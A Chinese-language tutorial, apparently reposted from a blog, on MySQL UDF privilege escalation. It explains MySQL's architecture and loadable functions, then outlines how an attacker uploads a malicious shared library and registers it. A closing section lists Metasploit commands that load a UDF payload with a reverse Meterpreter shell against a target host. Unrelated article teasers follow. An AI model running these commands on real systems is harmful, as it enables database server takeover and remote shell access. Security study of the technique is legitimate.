MySQL UDF提权原理

文章目录

  • 前言
  • 一、MySQL架构
  • 二、什么是UDF
  • 三、UDF提权原理
  • 四、MSF实战
  • 参考


前言

看了许多视频和文章,对UDF提权讲得都不是很清楚,遂搜索了一下MySQL的基础知识,总结了一下,供各位初学的师傅参考。

一、MySQL架构

首先,MySQL也是一个C/S(客户端/服务端编程模型)软件,和其他软件一样,没有什么神奇的东西。这个软件大概的运行机制如下:
参考【1】

MySQL 的架构共分为两层:Server 层和存储引擎层

Server 层:负责建立连接、分析和执行 SQL。MySQL 大多数的核心功能模块都在这实现,主要包括连接池,执行器、优化器、解析器、预处理器、查询缓存等。另外,所有的内置函数(如日期、时间、数学和加密函数等)和所有跨存储引擎的功能(如存储过程、触发器、视图等)都在 Server 层实现;

存储引擎层:负责数据的存储和提取。支持 InnoDB、MyISAM、Memory 等多个存储引擎,不同的存储引擎共用一个 Server 层。现在最常用的存储引擎是 InnoDB,从 MySQL 5.5 版本开始, InnoDB 成为了 MySQL 的默认存储引擎。我们常说的索引数据结构,就是由存储引擎层实现的。

在这里插入图片描述

二、什么是UDF

user-defined functions (UDFs),用户自定义函数,不过,这已经是过时的说法了,MySQL官方文档现在把它称作Loadable Functions(可加载函数),是MySQL可在运行时加载执行以扩展功能的机制。我们大可把它理解为是一个插件,而且其本质也是一个动态链接库。

官方文档很清楚地说明了,一个可加载函数会被编译为库文件(Windows下文.dll,Linux下为.so),然后使用CREATE FUNCTIONDROP FUNCTION 语句动态地从服务器加载和卸载。

A loadable function is compiled as a library file and then loaded and unloaded from the server dynamically using the CREATE FUNCTION and DROP FUNCTION statements.

既然是插件,那必然要遵循一定的约定,好让MySQL知道如何调用。官方文档从格式、参数、编译等等都详细介绍了开发者如何加载一个自己开发的UDF,但作为一个脚本小子,我们不关心怎么写,要操心的是UDF文件放到哪个目录才能被MySQL找到。该目录由plugin_dir系统变量的值指定,我们可以通过@@来引用系统变量。关于更多信息,还是看一看官方文档吧,参考[5]、[6]直达。
在这里插入图片描述

三、UDF提权原理

MySQL一般、默认、往往都是以高权限用户执行的,我们上传一个恶意的UDF文件让MySQL加载执行,这个UDF会继承MySQL的权限,就达到了提权的目的。
在这里插入图片描述

UDF提权的核心思想是向MySQL服务器中插入一个恶意编写的UDF,并通过调用这个UDF来执行恶意代码。为了实现提权,攻击者需要满足以下条件:

  1. UDF文件:首先,攻击者需要有一个恶意编写的UDF文件。这个文件通常是一个共享库(如.so文件),其中包含了攻击者想要执行的代码。

  2. 文件上传:攻击者需要将这个UDF文件上传到MySQL服务器上。这通常涉及到将文件写入到MySQL的插件目录或其他MySQL可以访问的位置。

  3. 注册UDF:接下来,攻击者需要在MySQL中注册这个UDF。这可以通过执行CREATE FUNCTION语句来实现,该语句告诉MySQL如何加载和使用这个UDF。

  4. 调用UDF:一旦UDF被注册,攻击者就可以通过SQL查询来调用它,从而执行恶意代码。

四、MSF实战

恶意的UDF和反弹shell的代码,Msf里面都已经有大佬写好的了,脚本小子直接用就好

use exploit/multi/mysql/mysql_udf_payload
set payload windows/meterpreter/reverse_tcp
set password 【root用户的密码】
set rhosts 【ip地址】
run

看下这篇文章就好:MySQL UDF提权

参考

[1]MySQL体系结构及运行原理-侯圣文
[2] MySQL 系列 MySQL 架构篇
[3] MySQL UDF提权:从原理到实践
[4] 小迪安全 红蓝对抗 | 网络攻防 | V2022全栈培训
[5] MySQL官方文档:MySQL Server Loadable Functions
[6] MySQL官方文档:Adding a Loadable Function
[7] MySQL UDF提权

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/56108.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【人工智能】探索最强AI工具:实际应用与影响

随着人工智能(AI)技术的迅猛发展,AI工具已经深入到人们日常生活和工作的方方面面。这些工具不仅提高了生产力,还改变了我们解决问题和处理信息的方式。在中文互联网和国际市场中,众多AI工具已成为人们工作、学习、创作…

深度学习 nd.arange()

在 MXNet 中,nd.arange() 是一个用于生成均匀间隔的数值数组的函数。它的功能类似于 NumPy 的 arange() 函数。下面是 nd.arange() 的一些基本用法: 语法 mx.nd.arange(start, stopNone, step1, dtypeNone, ctxNone) 参数 start:可选&…

entity,pojo,vo,dto 详解

在Java项目中,包名通常用于组织代码,使其更加清晰和易于维护。entity、pojo、vo和dto是常见的包名,它们各自有不同的含义和用途。下面将详细解释这些包名的含义,并提供一个示例,帮助你更好地理解它们在项目中的应用。 …

C# Json文件写入、读取 ,Json文件序列化、反序列化

在C#中,处理JSON文件的写入、读取、序列化和反序列化是一个常见的需求,特别是在需要与前端JavaScript应用进行数据交换或配置文件管理的场景中。下面将分别介绍如何使用.NET自带的System.Text.Json命名空间(从.NET Core 3.0开始引入&#xff…

【部署篇】Redis-03主从模式部署(源码方式安装)

一、准备主机 主从模式只是解决了数据备份容灾并不能解决单点故障问题,生产环境中需要在主从模式基础上增加哨兵,实现主节点宕机时自动将其中一个重节点设置为新的主节点。 主机IP角色说明192.168.128.31master,主节点可读写。192.168.128…

Ultralytics_yolov10目标检测,预处理函数入口

日期:2024.10.7. 随着Ultralytics的更新,yolov5-v11可以统一使用Ultralytics包体,我之前分析的yolov5关键代码定位在Ultralytics中不适用,这篇博客更新一下。 1. Ultralytics包体版本: $ pip list | grep ultralytic…

git删除错误的commit

文章目录 1、git删除错误的commit2、.gitignore配置文件不生效的问题 1、git删除错误的commit git的流程如图: 当某次失误造成commit的版本有问题,需要回退到正常的版本修改后重新add。 首先通过git log查看commit提交记录,可以看到HEAD-…

公网IP and 局域网IP

Part 1 Java获取公网IP 在Java中获取公网IP地址(即外部IP地址,而非局域网地址)通常需要借助外部服务,因为Java本身没有直接获取公网IP地址的API。你可以通过向一个外部服务发送HTTP请求,然后解析其返回的响应来获取公…

JAVA毕业设计191—基于Java+Springboot+vue的电子产品商城管理系统(源代码+数据库)

毕设所有选题: https://blog.csdn.net/2303_76227485/article/details/131104075 基于JavaSpringbootvue的电子产品商城管理系统(源代码数据库)191 一、系统介绍 本项目前后端不分离,分为用户、管理员两种角色 1、用户: 注册、登录、商品…

C++设计模式——代理模式

欢迎来到 破晓的历程的 博客 ⛺️不负时光,不负己✈️ 文章目录 引言代理模式的定义代理模式的具体实现 引言 我们经常听到代理服务器「代理服务器是一个中间服务器,能够接收客户端的请求,并代表客户端向服务器发起请求,然后将服…

金蝶云星空与金蝶云星空对接集成采购订单查询连通采购订单新增(采购订单)

金蝶云星空与金蝶云星空对接集成采购订单查询连通采购订单新增(采购订单) 对接系统金蝶云星空 金蝶K/3Cloud在总结百万家客户管理最佳实践的基础上,提供了标准的管理模式;通过标准的业务架构:多会计准则、多币别、多地点、多组织、多税制应用…

git stash命令的使用

工作中,若正在一个分支进行开发,而另一个分支出现bug,这时候,不想commit代码,我们就可以使用git stash将代码暂时存储起来,git stash就相当于一个临时暂存区,这样git status就会发现工作区是干净…

YOLOv10改进策略【注意力机制篇】| 2024 SCSA-CBAM 空间和通道的协同注意模块

一、本文介绍 本文记录的是基于SCSA-CBAM注意力模块的YOLOv10目标检测改进方法研究。现有注意力方法在空间-通道协同方面未充分挖掘其潜力,缺乏对多语义信息的充分利用来引导特征和缓解语义差异。SCSA-CBAM注意力模块构建一个空间-通道协同机制,使空间注意力引导通道注意力增…

HTTP 协议详解

HTTP 协议是 Web 的基石,它定义了客户端和服务器之间的通信规则。本文将深入地探讨 HTTP 的核心概念,包括工作原理、请求方法、状态码以及不同 HTTP 版本的演进。 一、HTTP 的工作原理 HTTP 协议基于客户端-服务器模型,遵循请求-响应的循环&…

opencv学习:CascadeClassifier和detectMultiScale算法进行人脸识别

CascadeClassifier CascadeClassifier 是 OpenCV 提供的一个用于对象检测的类,它基于Haar特征和AdaBoost算法。它能够识别图像中的特定对象,比如人脸、眼睛、微笑等。CascadeClassifier 需要一个预训练的XML分类器文件,该文件包含了用于检测…

Mac 需要杀毒软件?

大部分 mac用户普遍认为 Apple mac 不受病毒和恶意软件的影响。这导致许多 Mac 用户误以为无需为 Mac 安装防病毒软件,但事实并非如此。 在这篇文章中,将深入探讨 Mac 安全性的细节,探索针对 Apple 设备的恶意软件类型,并为您…

Python和CUDA(C++)量子退火和伊辛二次算法模型

🎯要点 简化量子退火或离散优化算法处理,使用张量网络模拟和动态系统方法及神经网络逼近。实现并行退火算法和CUDA支持下穷举搜索法。使用大都会算法模拟二维自旋玻璃伊辛模型并测量磁化率、比热容和能量。对比其他组合优化解方法,使用英伟达…

Windows 安装 Maven 并配置环境变量

一、简介 Maven 是一款基于 Java 平台的项目管理和整合工具,用来构建项目的。也就是清理、编译、测试、运行、打包、安装整个过程都交给 Maven 管理,整个过程就是构建。 二、安装 Java JDK Maven 依赖 Java JDK,如果本机没有安装过 Java 的…

C#使用PdfSharp生成PDF文件实例详解

许多项目开发中需要生成PDF, 常规办法使用官方提供的Microsoft.Office.Interop.Worddll插件,但是这种方法需要完全安装OFFICE,另外版本不一致还会出现很多错误。一般不推荐使用。 下面介绍几种巧妙的用法,定能事半功倍。 本文使用PDFsharp完成功能。 PDFsharp一款开源的…

CRM客户关系管理系统的功能、作用、特点有哪些?

大家都知道,CRM是销售常用的客户关系管理系统。销售是客户关系管理系统中的主要组成部分,主要包括潜在客户、客户、联系人、业务机会、订单、回款单、报表统计图等模块。那么CRM只能销售人员用来管理客户关系吗? 其实,CRM的功能远…